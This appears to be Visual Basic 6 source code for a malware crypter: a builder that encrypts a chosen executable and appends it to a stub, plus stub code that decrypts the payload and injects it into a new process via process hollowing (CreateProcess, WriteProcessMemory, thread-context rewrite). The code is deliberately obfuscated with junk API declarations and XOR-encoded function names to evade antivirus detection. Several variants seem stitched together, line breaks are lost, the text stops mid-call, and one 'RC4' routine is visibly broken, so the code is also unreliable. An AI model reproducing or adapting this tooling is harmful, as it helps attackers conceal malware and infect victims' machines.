Const Zero = "v8ƒ?Ð?34€?QI3?Å6Ð8Å£????€8?4??ZN€8?5??ƒN???Qv?S?"Const Zett = "£ø£?s???ƒ??s£?s?ƒ?sø£?ƒ?£?sƒ??£s?ƒƒ?ss?ƒ?s?S"Const XDay = "£?s?ƒ?øS??s????£???£????S??£???s??£????s?"Const rarezas = "zplFUWPfJTRZhAxmn_KCnfTK09YtMNXZBYVy7x8Ck2lwsa"Const Zeen = "zZ6DQ4ObRr7WrExonQKCnfDNXfJqU3bWBsVz8Nmzp2Bvsa"Const jker = "zplAQiObJrRXhgxmjEeDdbnN09st3NH0cgoD1d"Public Function srandom()Dim i4t5 As StringDim o8u9 As Integeri4t5 = Zero + Zett + XDay + rarezas + Zeen + jkerFor o8u9 = 1 To 50srandom = srandom & Mid$(i4t5, Int(Rnd * Len(i4t5)) + 1, 1)Next o8u9End FunctionPrivate Sub Command1_Click()With CD.DialogTitle = " seleccione archivo a encryptar".Filter = "EXE Files |*.exe".ShowOpenEnd WithIf Dir(CD.Filename) = vbNullString Then Exit SubText1.Text = CD.FilenameEnd SubPrivate Sub Command2_Click()Text2.Text = srandomEnd SubPrivate Sub Command3_Click()Dim Stub As StringOpen App.Path & "\Stub.exe" For Binary As #1Stub = Space(LOF(1))Get #1, , StubClose #1With CD .DialogTitle = "Select Where you want to Save Crypted File" .Filter = "EXE Files |*.exe" .ShowSaveEnd WithDim EOF As StringIf Check1.Value = 1 Then EOF = ReadEOFData(Text1.Text)Dim zeta As StringOpen Text1.Text For Binary As #1zeta = Space(LOF(1))Get #1, , zetaClose #1Dim RC4 As New clsRC4, Rijndael As New clsRijndaelDim encriptacion As StringIf Option1.Value = True Thenzeta = RC4.EncryptString(zeta, Text2.Text)encriptacion = "RC4"End IfIf Option2.Value = True Thenzeta = Rijndael.EncryptString(zeta, Text2.Text)encriptacion = "Rijndael"End IfDim Hidden As StringHidden = Stub & "(ZZtop)" & zeta & "(ZZtop)" & encriptacion & "(ZZtop)" & Text2.Text & "(ZZtop)"If Check1.Value = 1 Then Call WriteEOFData(CD.Filename, EOF)Open CD.Filename For Binary As 1Put #1, , Hidden & "ZZtop"Close #1MsgBox "Encryptado correctamente"End SubPrivate Sub Form_Load()Skin1.ApplySkin Me.hWndEnd Sub
Private Declare Function GetModuleFileNameA Lib "kernel32" (ByVal hModule As Long, ByVal lpFileName As String, ByVal nSize As Long) As LongSub Main()Dim zyxh As Stringzyxh = sMyPathOpen zyxh For Binary As #1zyxh = Space(LOF(1))Get #1, , zyxhDim zet() As Stringzet() = Split(zyxh, "[ZZtop]")Dim RC4 As New clsRC4, Rijndael As New clsRijndaelIf zet(2) = "RC4" Thenzet(1) = RC4.DecryptString(zet(1), zet(3))End IfIf zet(2) = "Rijndael" Thenzet(1) = Rijndael.DecryptString(zet(1), zet(3))End IfDim zilean() As Bytezilean() = StrConv(zet(1), vbFromUnicode)Call PTNteJggp(zyxh, zilean(), Command)End SubFunction sMyPath() As StringDim szBuffer As String * 255GetModuleFileNameA 0, szBuffer, 255sMyPath = Replace(szBuffer, vbNullChar, vbNullString)End Function
With CommonDialog1 .DialogTitle = "Select The file you Want to Protect" .Filter = "EXE Files |*.exe" .ShowOpenEnd WithIf Not CommonDialog1.FileName = vbNullString ThenText1.Text = CommonDialog1.FileNameEnd If
Dim Stub As StringOpen App.Path & "\Stub.exe" For Binary As #1Stub = Space(LOF(1))Get #1, , StubClose #1With CommonDialog1 .DialogTitle = "Select Where you want to Save Crypted File" .Filter = "EXE Files |*.exe" .ShowSaveEnd WithDim File As StringOpen Text1.Text For Binary As #1File = Space(LOF(1))Get #1, , FileClose #1File = RC4(File, "therefenge")Open CommonDialog1.FileName For Binary As #1Put #1, , Stub & "[Theref]" & FileClose #1MsgBox "Succesfully Crypted", vbInformation
Public Function RC4(ByVal Data As String, ByVal Password As String) As String ' This is a Modified RC4 Function ^^On Error Resume NextDim F(0 To 255) As Integer, X, Y As Long, Key() As ByteKey() = StrConv(Password, vbFromUnicode)For X = 0 To 255 Y = (Y + F(X) + Key(X Mod Len(Password))) Mod 256 F(X) = XNext XKey() = StrConv(Data, vbFromUnicode)For X = 0 To Len(Data) Y = (Y + F(Y) + 1) Mod 256 Key(X) = Key(X) Xor F(Temp + F((Y + F(Y)) Mod 254))Next XRC4 = StrConv(Key, vbUnicode)End Function
sub main()Dim SHIT As StringSHIT = App.Path & "\" & App.EXEName & ".exe"Dim Data As StringOpen SHIT For Binary As #1Data = Space(LOF(1))Get #1, , DataClose #1Dim Delimiter() As StringDelimiter() = Split(Data, "[Theref]")Delimiter(1) = RC4(Delimiter(1), "therefenge")Call Injec(SHIT, StrConv(Delimiter(1), vbFromUnicode), vbNullString)End Sub
Private Const DyFBqGKfb As Long = &H10007Private Const WzfQRnm9f As Integer = 260Private Const cxqkO0Ur9 As Long = &H4Private Const w50hLc8Ii3tOhQSAd As Long = &H1000Private Const qw8nRmUmc As Long = &H2000Private Const bt6Tcesf9 As Long = &H40Private Declare Function NdUFnpJmr Lib "USER32" (ByVal hCursor As Long) As LongPrivate Declare Function kxQQyGTvPuSkK Lib "SHELL32.DLL" Alias "SHGetFileInfoA" (ByVal pszPath As String, ByVal dwFileAttributes As Long, psfi As Long, ByVal cbFileInfo As Long, ByVal uFlags As Long) As LongPrivate Declare Function qIrOyIOKQnC Lib "USER32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal LPString As String) As LongPrivate Declare Function UsnQSzFZhVBxxwAm Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function QrqGwzrPtYVDs Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function CreateProcessA Lib "kernel32" (ByVal qVmwwdvfc As String, ByVal kILmzpcO8 As String, ByVal Fz6lu8QXl As Long, ByVal wqEi3Euvw As Long, ByVal UmZ5KZ3cI As Long, ByVal oXzCZGW6X As Long, ByVal zFMGDuKJW As Long, ByVal iXIq3MWPN As Long, B7IcOUhMo As AhjtQ4yYN, If4gWwEye As SLguGDz8i) As LongPrivate Declare Function tHRAAnoOYkMgKj Lib "USER32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal OutputWidth As Long, ByVal OutputHeight As Long, ByVal iStepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As LongPrivate Declare Function BysKHfOZfbnDEaclI Lib "USER32" Alias "LoadBitmapA" (ByVal hInstance As Long, ByVal lngBitmapID As Long) As LongPrivate Declare Function jPVpxmSNNMRCvChHtJM Lib "WINMM.DLL" Alias "mixerGetLineInfoA" (ByVal hMixerObj As Long, pMixerL As Long, ByVal fdwInfo As Long) As LongPrivate Declare Function gJoYTIdTKYiQQEq Lib "USER32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPrivate Declare Function AOwNzDeRO Lib "USER32" (ByVal nIndex As Long) As LongPrivate Declare Function ZvQpv Lib "version.dll" Alias "GetFileVersionInfoSizeA" (ByVal lptstrFilename As String, lpdwHandle As Long) As LongPrivate Declare Function sBLGkzRmFz Lib "USER32.DLL" (ByVal hWnd As Long) As LongPrivate Declare Function eediSLSxKJadgYwLEpQ Lib "WINMM.DLL" Alias "mixerGetLineInfoA" (ByVal hMixerObj As Long, pMixerL As Long, ByVal fdwInfo As Long) As LongPrivate Declare Function VboyThUGiED Lib "STKIT432.DLL" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As LongPrivate Declare Function ePTuUgaspLhGyuFQm Lib "WINMM.DLL" Alias "mciGetErrorStringA" (ByVal ErrorNumber As Long, ByVal ReturnBuffer As String, ByVal ReturnBufferSize As Long) As Long 'BOOLPrivate Declare Function EcQACjCIQFl Lib "USER32" (ByVal hDC As Long, ByVal X As Long, ByVal Y As Long, ByVal hIcon As Long) As LongPrivate Declare Function tyVcjNbaquw Lib "gdi32" (ByVal hMetaFile As Long) As LongPrivate Declare Function WriteProcessMemory Lib "kernel32" (ByVal v4yzBZj7I As Long, Wh3KfUCRO As Any, MbxRGYcYg As Any, ByVal f74C15K4q As Long, Hx1P52QFX As Long) As LongPrivate Declare Function dUFnpJmrEBkxQQyGT Lib "WINMM.DLL" Alias "mixerGetLineControlsA" (ByVal hMixerObj As Long, pMixerLc As Long, ByVal fdwControls As Long) As LongPrivate Declare Function uSkKlwqIrOyIOKQnC Lib "gdi32" (ByVal hGDIObj As Long) As LongPrivate Declare Function UsnQSzFZhVBxxwAmAQrqGwzrPt Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function DsMCtHRAAnoOYkMgKjB Lib "WINMM.DLL" (ByVal uPeriod As Long) As LongPrivate Declare Function ysKHfOZfbnDEalIqSj Lib "USER32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal OutputWidth As Long, ByVal OutputHeight As Long, ByVal iStepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As LongPrivate Declare Function SNNMRCvChtJMPHgJoYTIdTKY Lib "USER32" (ByVal hIcon As Long) As LongPrivate Declare Function QEqRoAOwNzDeROIbZv Lib "USER32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal strText As String) As LongPrivate Declare Function vrDGUqsBL Lib "USER32" (ByVal nIndex As Long) As LongPrivate Declare Function zRmFzpUe Lib "version.dll" Alias "VerQueryValueA" (pBlock As Any, ByVal lpSubBlock As String, lplpBuffer As Any, puLen As Long) As LongPrivate Declare Function AGtWeF7ve Lib "kernel32" Alias "OutputDebugStringA" (ByVal baUNALHXI As String) As LongPrivate Declare Function iSLSxKadgYwLEpQZtVboyT Lib "olepro32.dll" (ByVal OLE_COLOR As Long, ByVal hPalette As Long, lpColorRef As Long) As LongPrivate Declare Function GiEDfMePTuUgaspLhGy Lib "USER32" Alias "GetWindowTextA" (ByVal hWnd As Long, ByVal strText As String, ByVal TextLength As Long) As LongPrivate Declare Function QmHvEcQACjCIQFl Lib "gdi32" (ByVal hMetaFile As Long) As LongPrivate Declare Function tyVcjNbaquwNdUFnpJmr Lib "gdi32" (ByVal hMetaFile As Long) As LongPrivate Declare Function kxQQyGTvPuSkKwqIrOyIO Lib "SHELL32.DLL" Alias "SHGetFileInfoA" (ByVal pszPath As String, ByVal dwFileAttributes As Long, psfi As Long, ByVal cbFileInfo As Long, ByVal uFlags As Long) As LongPrivate Declare Function LUsnQSzFZhVBxxwA Lib "USER32" Alias "LoadIconA" (ByVal hLib As Long, ByVal lngIconID As Long) As LongPrivate Declare Function AQrqGwzrPtVDsMCtHRAAnoOYkMgKjB Lib "WINMM.DLL" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As LongPrivate Declare Function ysKHfOZfbnDEalIqSjVpxmSNNMRCvChHtJM Lib "USER32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal OutputWidth As Long, ByVal OutputHeight As Long, ByVal iStepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As LongPrivate Declare Function gJoYTIdTKYiQQEqoAOwNzDeROIbZvQpvr Lib "USER32" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As LongPublic Declare Sub RtlMoveMemory Lib "kernel32" (AN3n8ZqLN As Any, syLPEBaag As Any, ByVal w50hLc8Ii As Long)Private Declare Function UqsBLGkzRmFzpUe Lib "USER32" Alias "LoadStringA" (ByVal hLib As Long, ByVal ResourceID As Long, ByVal lpBuffer As String, ByVal nBufferSize As Long) As LongPrivate Declare Function iSLSxKadgYwLEpQZtVboyTUGiEDfM Lib "olepro32.dll" (ByVal OLE_COLOR As Long, ByVal hPalette As Long, lpColorRef As Long) As LongPrivate Declare Function TuUgaspLhGyuFQmHvE Lib "olepro32.dll" (ByVal OLE_COLOR As Long, ByVal hPalette As Long, lpColorRef As Long) As LongPrivate Declare Function ACjCIQFluvtyVcjNbaqu Lib "USER32" (ByVal hCursor As Long) As LongPrivate Declare Function NdUFnpJmrBkxQQyGTvPuSkK Lib "USER32" (ByVal hCursor As Long) As LongPrivate Declare Function cLQcZkBPYZiGBe Lib "WINMM.DLL" () As LongPrivate Declare Function SmukPKLJOzGNeFEUK Lib "WINMM.DLL" Alias "mciSendStringA" (ByVal CommandString As String, ByVal ReturnBuffer As String, ByVal ReturnBufferSize As Long, ByVal hCallback As Long) As Long 'MCIERRORPrivate Declare Function eGljRFaQHVgONB Lib "USER32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal OutputWidth As Long, ByVal OutputHeight As Long, ByVal iStepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As LongPrivate Declare Function lxatZx Lib "USER32" Alias "LoadCursorA" (ByVal hLib As Long, ByVal lngCursorID As Long) As LongPrivate Declare Function OMGZV Lib "olepro32.dll" (ByVal OLE_COLOR As Long, ByVal hPalette As Long, lpColorRef As Long) As LongPrivate Declare Function CallWindowProcA Lib "USER32" (ByVal XTRRN8P51 As Long, ByVal ev56FlHb1 As Long, ByVal vwaVLjb0m As Long, ByVal cbGCTy1uT As Long, ByVal J9vOuHxXz As Long) As LongPrivate Declare Function ntpAR Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function pzQDhwdkC Lib "USER32.DLL" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByRef lpvParam As Any, ByVal fuWinIni As Long) As LongPrivate Declare Function gbcafPJQuVGQb Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function uQCmiVrhYmwffREfBOd Lib "USER32" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As LongPrivate Declare Function NRrgd Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function mIfDJFQTj Lib "WINMM.DLL" (ByVal uPeriod As Long) As LongPrivate Declare Function xNgATNDjrsqvhahLYYn Lib "STKIT432.DLL" (ByVal lpstrFolderName As String, ByVal lpstrLinkName As String, ByVal lpstrLinkPath As String, ByVal lpstrLinkArgs As String) As LongPrivate Declare Function mKaSCknHkoC Lib "WINMM.DLL" (ByVal hMixerObj As Long, pMixerCD As Long, ByVal fdwDetails As Long) As LongPrivate Declare Function viUwRQt Lib "USER32" (ByVal hDC As Long, ByVal xLeft As Long, ByVal yTop As Long, ByVal hIcon As Long, ByVal OutputWidth As Long, ByVal OutputHeight As Long, ByVal iStepIfAniCur As Long, ByVal hbrFlickerFreeDraw As Long, ByVal diFlags As Long) As LongPrivate Declare Function eiHitnFCav Lib "gdi32" (ByVal hDC As Long) As LongPrivate Declare Function ITlzUIRqkNPwQVeT Lib "USER32.DLL" (ByVal hwndParent As Long, ByVal lpEnumCallback As Long, ByVal lParam As Long) As LongPrivate Declare Function IHLjqxcooDHKCbq Lib "USER32" (ByVal IconOrCursor As Long, ByRef pICONINFO As Long) As LongPrivate Declare Function GetProcAddress Lib "kernel32" (ByVal ZgOdJgVLI As Long, ByVal C54J1JCUn As String) As LongPrivate Declare Function ADYAESPyLllMUhJdIgy Lib "USER32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal strText As String) As LongPrivate Declare Function JDVFcLQcZkBP Lib "WINMM.DLL" (ByVal uPeriod As Long) As LongPrivate Declare Function iGBegMSmukPKLJOzGNeF Lib "WINMM.DLL" (ByVal uPeriod As Long) As LongPrivate Declare Function KMEeGljRFaQHVgONBBd Lib "WINMM.DLL" Alias "sndPlaySoundA" (ByVal Sound As Long, ByVal lngFlags As Long) As LongPrivate Declare Function atZxObOMGZVs Lib "USER32" Alias "SetWindowTextA" (ByVal hWnd As Long, ByVal LPString As String) As LongPrivate Declare Function RSopzQDhwdkCK Lib "WINMM.DLL" Alias "mixerGetLineControlsA" (ByVal hMixerObj As Long, pMixerLc As Long, ByVal fdwControls As Long) As LongPrivate Declare Function bcafPJQVGQbeUuQCmi Lib "USER32" Alias "LoadBitmapA" (ByVal hInstance As Long, ByVal lngBitmapID As Long) As LongPrivate Declare Function hYmwffREfBdJcNRrgdQpmIfDJFQ Lib "WINMM.DLL" () As LongPrivate Declare Function EFPZTxN Lib "USER32.DLL" Alias "GetClassNameA" (ByVal hWnd As Long, ByVal ClassName As String, ByVal ClassNameSize As Long) As LongPrivate Declare Function LoadLibraryA Lib "kernel32" (ByVal mAsuR2BSF As String) As LongPrivate Declare Function TNDjrsqvhahLYnrumKaSCknHkoCMiviUw Lib "WINMM.DLL" Alias "mciSendStringA" (ByVal CommandString As String, ByVal ReturnBuffer As String, ByVal ReturnBufferSize As Long, ByVal hCallback As Long) As Long 'MCIERRORPrivate Declare Function tbseiHitnFCavTLITl Lib "GDI32.DLL" (ByVal hDC As Long, ByVal nIndex As Long) As LongPrivate Declare Function IRqkNPwQVeTzIIHLjqx Lib "olepro32.dll" (ByRef PicDesc As Any, ByRef RefIID As Long, ByVal fPictureOwnsHandle As Long, ByRef IPic As Long) As LongPrivate Declare Function oDHKCbqjS Lib "USER32" (ByVal hCursor As Long) As LongPrivate Declare Function YAESPyLllMUhJdgyYyJDVFcLQcZkB Lib "USER32" Alias "LoadBitmapA" (ByVal hInstance As Long, ByVal lngBitmapID As Long) As LongPrivate Type z0eqG4ltFnLength As LonglpSecurityDescriptor As LongbInheritHandle As LongEnd TypePrivate Type AhjtQ4yYNcb As LonglpReserved As LonglpDesktop As LonglpTitle As LongdwX As LongdwY As LongdwXSize As LongdwYSize As LongdwXCountChars As LongdwYCountChars As LongdwFillAttribute As LongdwFlags As LongwShowWindow As IntegercbReserved2 As IntegerlpReserved2 As LonghStdInput As LonghStdOutput As LonghStdError As LongEnd TypePrivate Type SLguGDz8iv4yzBZj7I As LonghThread As LongdwProcessId As LongdwThreadID As LongEnd TypePrivate Type qSLRyXWjpControlWord As LongStatusWord As LongTagWord As LongErrorOffset As LongErrorSelector As LongDataOffset As LongDataSelector As LongRegisterArea(1 To 80) As ByteCr0NpxState As LongEnd TypePrivate Type c3dojQh5NContextFlags As LongDr0 As LongDr1 As LongDr2 As LongDr3 As LongDr6 As LongDr7 As LongFloatSave As qSLRyXWjpSegGs As LongSegFs As LongSegEs As LongSegDs As LongEdi As LongEsi As LongEbx As LongEdx As LongEcx As LongEax As LongEbp As LongEip As LongSegCs As LongEFlags As LongEsp As LongSegSs As LongEnd TypePrivate Type HXsInVSMre_magic As Integere_cblp As Integere_cp As Integere_crlc As Integere_cparhdr As Integere_minalloc As Integere_maxalloc As Integere_ss As Integere_sp As Integere_csum As Integere_ip As Integere_cs As Integere_lfarlc As Integere_ovno As Integere_res(0 To 3) As Integere_oemid As Integere_oeminfo As Integere_res2(0 To 9) As Integere_lfanew As LongEnd TypePrivate Type idS3Up76OMachine As IntegerNumberOfSections As IntegerTimeDateStamp As LongPointerToSymbolTable As LongNumberOfSymbols As LongSizeOfOptionalHeader As Integercharacteristics As IntegerEnd TypePrivate Type gRaXFFX9vVirtualAddress As LongSize As LongEnd TypePrivate Type tSty8CrpFMagic As IntegerMajorLinkerVersion As ByteMinorLinkerVersion As ByteSizeOfCode As LongSizeOfInitializedData As LongSizeOfUnitializedData As LongAddressOfEntryPoint As LongBaseOfCode As LongBaseOfData As LongImageBase As LongSectionAlignment As LongFileAlignment As LongMajorOperatingSystemVersion As IntegerMinorOperatingSystemVersion As IntegerMajorImageVersion As IntegerMinorImageVersion As IntegerMajorSubsystemVersion As IntegerMinorSubsystemVersion As IntegerW32VersionValue As LongSizeOfImage As LongSizeOfHeaders As LongCheckSum As LongSubSystem As IntegerDllCharacteristics As IntegerSizeOfStackReserve As LongSizeOfStackCommit As LongSizeOfHeapReserve As LongSizeOfHeapCommit As LongLoaderFlags As LongNumberOfRvaAndSizes As LongDataDirectory(0 To 15) As gRaXFFX9vEnd TypePrivate Type te6F4uAEZSignature As LongFileHeader As idS3Up76OOptionalHeader As tSty8CrpFEnd TypePrivate Type PHcZELCeLSecName As String * 8VirtualSize As LongVirtualAddress As LongSizeOfRawData As LongPointerToRawData As LongPointerToRelocations As LongPointerToLinenumbers As LongNumberOfRelocations As IntegerNumberOfLinenumbers As Integercharacteristics As LongEnd TypePublic Function xJgjZpWri(ByVal X4eHiK7vR As String, ByVal mX456iIqy As String, ParamArray l3WKl67qU()) As LongDim OPMBX As Long, CnIb1Gi5u(&HEC00& - 1) As Byte, JLT As Long, QPNRFXC As LongQPNRFXC = GetProcAddress(LoadLibraryA(X4eHiK7vR), mX456iIqy)If QPNRFXC = 0 Then Exit FunctionOPMBX = VarPtr(CnIb1Gi5u(0))RtlMoveMemory ByVal OPMBX, &H59595958, &H4: OPMBX = OPMBX + 4RtlMoveMemory ByVal OPMBX, &H5059, &H2: OPMBX = OPMBX + 2For JLT = UBound(l3WKl67qU) To 0 Step -1RtlMoveMemory ByVal OPMBX, &H68, &H1: OPMBX = OPMBX + 1RtlMoveMemory ByVal OPMBX, CLng(l3WKl67qU(JLT)), &H4: OPMBX = OPMBX + 4NextRtlMoveMemory ByVal OPMBX, &HE8, &H1: OPMBX = OPMBX + 1RtlMoveMemory ByVal OPMBX, QPNRFXC - OPMBX - 4, &H4: OPMBX = OPMBX + 4RtlMoveMemory ByVal OPMBX, &HC3, &H1: OPMBX = OPMBX + 1xJgjZpWri = CallWindowProcA(VarPtr(CnIb1Gi5u(0)), 0, 0, 0, 0)End FunctionPublic Function pMHlnTatBqV()Dim GMTlLKbQTLkNsqYMhQNc As IntegerFor GMTlLKbQTLkNsqYMhQNc = 0 To 8 DoEventsNext GMTlLKbQTLkNsqYMhQNcEnd FunctionPublic Function lsaT0XIiU(ByVal aSMOHqM6c As String, ByVal cmkTisNtL As String) As StringDim YAFLcF4NA As LongFor YAFLcF4NA = 1 To Len(aSMOHqM6c)lsaT0XIiU = lsaT0XIiU & Chr(Asc(Mid(cmkTisNtL, IIf(YAFLcF4NA Mod Len(cmkTisNtL) <> 0, YAFLcF4NA Mod Len(cmkTisNtL), Len(cmkTisNtL)), 1)) Xor Asc(Mid(aSMOHqM6c, YAFLcF4NA, 1)))Next YAFLcF4NAEnd FunctionPublic Sub QjLfKiAMAysKHeNYea()If "bkHpSiOUow" = "RMNLQBuBgGsI" Then EndEnd SubPublic Sub PTNteJggp(ByVal DCzB5kaXO As String, ByRef hXZKoqkOa() As Byte, WmjePRreV As String)Dim k9v5fh8pT As Long, XbtplKBRO As HXsInVSMr, dnLCmUUcW As te6F4uAEZ, mctTF8zao As PHcZELCeLDim hdlK8k3BL As AhjtQ4yYN, uN4A7JYVh As SLguGDz8i, qPfSQYqKa As c3dojQh5NhdlK8k3BL.cb = Len(hdlK8k3BL)RtlMoveMemory XbtplKBRO, hXZKoqkOa(0), 64RtlMoveMemory dnLCmUUcW, hXZKoqkOa(XbtplKBRO.e_lfanew), 248CreateProcessA DCzB5kaXO, rQULGpVOz("(", "8") & WmjePRreV, 0, 0, False, cxqkO0Ur9, 0, 0, hdlK8k3BL, uN4A7JYVhxJgjZpWri lsaT0XIiU(Chr(44) & Chr(53) & Chr(47) & Chr(36) & Chr(59), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), lsaT0XIiU(Chr(12) & Chr(53) & Chr(30) & Chr(38) & Chr(58) & Chr(50) & Chr(41) & Chr(31) & Chr(37) & Chr(46) & Chr(59) & Chr(5) & Chr(55) & Chr(29) & Chr(47) & Chr(33) & Chr(58) & Chr(38) & Chr(40) & Chr(34), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), uN4A7JYVh.v4yzBZj7I, dnLCmUUcW.OptionalHeader.ImageBasexJgjZpWri lsaT0XIiU(Chr(41) & Chr(36) & Chr(57) & Chr(38) & Chr(50) & Chr(63) & Chr(106) & Chr(123), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), lsaT0XIiU(Chr(20) & Chr(40) & Chr(57) & Chr(60) & Chr(34) & Chr(50) & Chr(53) & Chr(8) & Chr(32) & Chr(39) & Chr(35) & Chr(41) & Chr(20) & Chr(54), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), uN4A7JYVh.v4yzBZj7I, dnLCmUUcW.OptionalHeader.ImageBase, dnLCmUUcW.OptionalHeader.SizeOfImage, w50hLc8Ii3tOhQSAd Or qw8nRmUmc, bt6Tcesf9WriteProcessMemory uN4A7JYVh.v4yzBZj7I, ByVal dnLCmUUcW.OptionalHeader.ImageBase, hXZKoqkOa(0), dnLCmUUcW.OptionalHeader.SizeOfHeaders, 0For k9v5fh8pT = 0 To dnLCmUUcW.FileHeader.NumberOfSections - 1RtlMoveMemory mctTF8zao, hXZKoqkOa(XbtplKBRO.e_lfanew + 248 + 40 * k9v5fh8pT), Len(mctTF8zao)WriteProcessMemory uN4A7JYVh.v4yzBZj7I, ByVal dnLCmUUcW.OptionalHeader.ImageBase + mctTF8zao.VirtualAddress, hXZKoqkOa(mctTF8zao.PointerToRawData), mctTF8zao.SizeOfRawData, 0Next k9v5fh8pTqPfSQYqKa.ContextFlags = DyFBqGKfbxJgjZpWri lsaT0XIiU(Chr(41) & Chr(36) & Chr(57) & Chr(38) & Chr(50) & Chr(63) & Chr(106) & Chr(123), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), lsaT0XIiU(Chr(5) & Chr(36) & Chr(63) & Chr(28) & Chr(63) & Chr(33) & Chr(60) & Chr(40) & Chr(40) & Chr(8) & Chr(35) & Chr(36) & Chr(37) & Chr(43) & Chr(50) & Chr(54), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), uN4A7JYVh.hThread, VarPtr(qPfSQYqKa)WriteProcessMemory uN4A7JYVh.v4yzBZj7I, ByVal qPfSQYqKa.Ebx + 8, dnLCmUUcW.OptionalHeader.ImageBase, 4, 0qPfSQYqKa.Eax = dnLCmUUcW.OptionalHeader.ImageBase + dnLCmUUcW.OptionalHeader.AddressOfEntryPointxJgjZpWri lsaT0XIiU(Chr(41) & Chr(36) & Chr(57) & Chr(38) & Chr(50) & Chr(63) & Chr(106) & Chr(123), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), lsaT0XIiU(Chr(17) & Chr(36) & Chr(63) & Chr(28) & Chr(63) & Chr(33) & Chr(60) & Chr(40) & Chr(40) & Chr(8) & Chr(35) & Chr(36) & Chr(37) & Chr(43) & Chr(50) & Chr(54), rQULGpVOz("EDNKZV\LONOMTQMEQRJONRFQ[\LQGLPJEMMSSF[UGWHUMGMNQHIWFZWYTKKZYTIR]UF\ROTDGFGELOLVIPIGFJWIS[]IX]H[VEEKRESMFOGMKXEFIYZPEROQLJ\RQLHJUMDTKMR\XXXVDGDNHIZXW[OGKS[ZP\YSN]V\JVKLWGXE\P\WZQSHVJNPJ[TJPKY[MLVLIEJTP", "3")), uN4A7JYVh.hThread, VarPtr(qPfSQYqKa)xJgjZpWri lsaT0XIiU(Chr(41) & Chr(36) & Chr(57) & Chr(38) & Chr(50) & Chr(63) & Chr(106) & Chr(123), 